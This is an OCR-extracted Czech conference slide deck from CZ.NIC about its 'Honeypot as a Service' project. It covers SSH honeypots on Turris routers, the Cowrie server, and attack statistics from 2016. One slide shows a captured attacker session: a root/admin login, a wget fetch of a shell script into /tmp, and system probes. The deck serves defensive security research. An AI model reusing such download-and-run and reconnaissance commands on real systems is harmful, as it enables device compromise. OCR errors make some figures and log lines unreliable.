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Honeypot as a Service

Bedrich Kosata ¢ bedrich.kosata@nic.cz 1. 6. 2016
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It's easy to be open with good news, being
open with bad news takes balls.
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Co je honeypot?

 Napadnutelny pocitac, ktery sleduje, co utoCnik
dela

e Vetsinou simulovany nebo jinak oddeleny, aby
branil skuteCnému zneuziti

e Pro ruzné protokoly (SSH, Telnet, SMTP, etc.)
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Obecné problémy honeypotu

e Maly pocet
e Pevné IP adresy z malého podtu rozsahu

e casem se dostanou na “black-list” utocniku
e Nedokonala simulace

e Utocnik je schopen poznat, ze je v honeypotu

e Bylo by zajimaveé umistit honeypoty ke
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Project Turris

e 2000 routerti u uzivateld v CR
e Pouzivaji se jako sitove bezpecCnostni sondy

e Uzivatelé by meli mit verejnou IPv4 adresu

CZNIC |30



Turris jJako honeypot

e VVelké mnozstvi instanci
e Geograficky i topologicky rozdilne umisteni

e Nektere IP adresy se s Casem meni

e Zajimavy “proof-of-concept”

e Nesmi ohrozit uzivatele!
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Honeypot as a Service

?4 :
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Honeypot as a Service

e Pouzivany pro SSH
e Bézi na serverech CZ.NIC

e Na routeru staci nainstalovat jednoduchy
program

e Kazdy klient ma vyhrazeny jeden port/instanci

e Centralne spravovany

e pomaha bojovat s detekci honeypotu utocnikem
* Nahrana sezeni jsou prezentovana uzivatelum

| e'a Gentralng analyzovana | . . . . . CZJMICIEH



Technologie SSH honeypotu - server

e zalozené na Cowrie

e napsano v Pythonu
e fork popularnino honeypotu Kippo

e rozSifeny o podporu vice instanci na ruznych
portech

e k dispozici na
https://gitlab.labs.nic.cz/turris/cowrie-multiport
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Technologie SSH honeypotu - klient

e zalozené na mitmproxy
e dela man-in-the-middle “utok™ na spojeni

e k dispozici na
https://gitlab.labs.nic.cz/labs/mitmproxy

I o 8§ | [ of pticaves



Vysledky SSH honeypotu - 2016

e Priblizné 350 uzivatelu
e cca 2000 sezeni/den, 4 prikazy/sezeni

e 36 000 unikatnich IP addres utoc¢niku od 1. 1.
2016
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Vysledky SSH honeypotu — 2016

Country code, Total: 35597, Reference count: 35597

AR 17517
IR 6012

IN 3382

CN 1207 [ 34 %
DE 926 [ 2.6

TH 901 2.5 %

RO 772 22 %
None 719 [ 2.0%
BR 699 2.0 %
us 597 1.7 %
EG 399 J1.1%
DZ 270 Jo8%
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Analyza sezeni za rok 2016

e ruzné velké skupiny uto¢niku s podobnou
sadou prikazu

e 13 000 utoCniku pouziva presné stejnou
sekvenci prikazu

e pres 70 % z nich jsou z Argentiny (prevazne
Telefonica de Argentina)

e pres 50 % ma otevreny port 7547 (DSL
provisioning)
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Uzivatelsky portal

= Change chart Filter by date: 2016-05-12  Shown period: week - B
Time Remote address Commands
5/6/2016 08:32 = 5 Show detail
5/6/2016 08:55 = 5 Show detail
5/6/2016 09:08 = 5 Show detail
5/6/2016 21:15 = 5 Show detail
5/7/2016 06:53 = 1 Show detail
5/7/2016 09:43 = 5 Show detail
5/7/2016 09:44 = 5 Show detail
5/7/2016 09:46 = 5 Show detail
5/7/2016 22:22 = 5 Show detail
5/7/2016 22:24 = 5 Show detail
5/7/2016 22:30 = 5 Show detail
5/8/2016 02:26 | 2 Show detail
5/8/2016 1402 = 5 Show detail
5/8/2016 14:03 = 5 Show detail
5/9/2016 02:12 = 5 Show detail
5/9/2016 02:56 = 5 Show detail
5/9/2016 11:17 = 5 Show detail
5/9/2016 16:58 & | 5 Show detail
5/9/2016 23:48 = 5 Show detail
5/10/2016 00:14 = 5 Show detail
5/10/2016 06:38 & | 5 Show detail
5/10/2016 13:09 = 3 Show detail
5/10/2016 20:14 6 Show detail
5M10/2016 21:39 4 Show detail
5/11/2016 07:04 | 1 Show detail
5/11/2016 15:29 = 5 Show detail
5/11/2016 15:31 = 5 Show detail
5/11/2016 19:05 9 Show detail
5M12/2016 03:53 = 5 Show detail
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Uzivatelsky portal

= Change chart Filter by date: 20160511  Shown period: Day -~ ﬂ
Time Remote address Commands
5111 07 | 1 Show detail
5 = 5 Show detail
5 = 5 Show detail
5/M11/2016 19:05 9
Login: root Password: admin
: @ 5/11/2016
R £
$ /sbin/ifconfig OAccepted 190545
. @ 5/11/2016
d ft
$ cd /tmp @ Accepted 190546
; © 511/2016
wget http: .sh
$ wge p:// fo.s @ Accepted 19-05:46
. O 511/2016
d /t
7 cd /tmp ©Accepled 19:05:50
. : © 5/11/2016
wget http: .sh
$ wge p:// fo.s @ Accepted 19:05:50
$ 2 » /dev/null sh —-c¢ 'cat /lib/libdl.so* || cat g @ 5/11/2016
o o i i PR : © Rejected
/lib/librt.so* || cat /bin/cat || cat /sbin/ifconfig’ 19:05:50
. O 511/2016
at ] info
56 /proc/meminfo @ Accepted 19:0550
: @ 5/11/2016
at ] dul
5 c /proc/modules OAccepted 19:05:52
. © 5/11/2016
at ] 7 i
e /proc/wversion @ Accepted 19:05:52

Duration: [session not closed properly]
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Vysledky SSH honeypotu - 2016

e 55,000 prikazu wget
e 2,000 unikatnich URL pro stazeni

e 676 unikatnich IP adres pro stazeni

I o 8§ | [ of pticaves



Plany do budoucna

e Nabidneme uzivatelum Turris Omnia

e Nabidneme honeypot jako sluzbu verejnosti

e dalsi routery, servery
e \/ytvoreni klientu pro dalSi systemy

e \/ydavani vysledku jako open data
* \VVylepsovani metod analyzy dat

e Zvysovani povedomi o bezpecnosti na
Internetu
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Mozna spoluprace

e |nstalace honeypot klienta na vasem zarizeni
e Pomoc s vyvojem serveru
e |nstalace nezavisleho honeypot serveru

e \ytvoreni jednotného systému honeypotu v
ruznych lokacich s jednotnym sbérem dat
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Dekuji za pozornost

Bedrich Kosata ¢ bedrich.kosata@nic.cz

T A Realizace projektu ,,Honeypot as a Service (HaaS)“ (TF02000057) byla Program

¢ R podpofena Technologickou agenturou CR v ramci 2. vyzvy programu Delta. Delta
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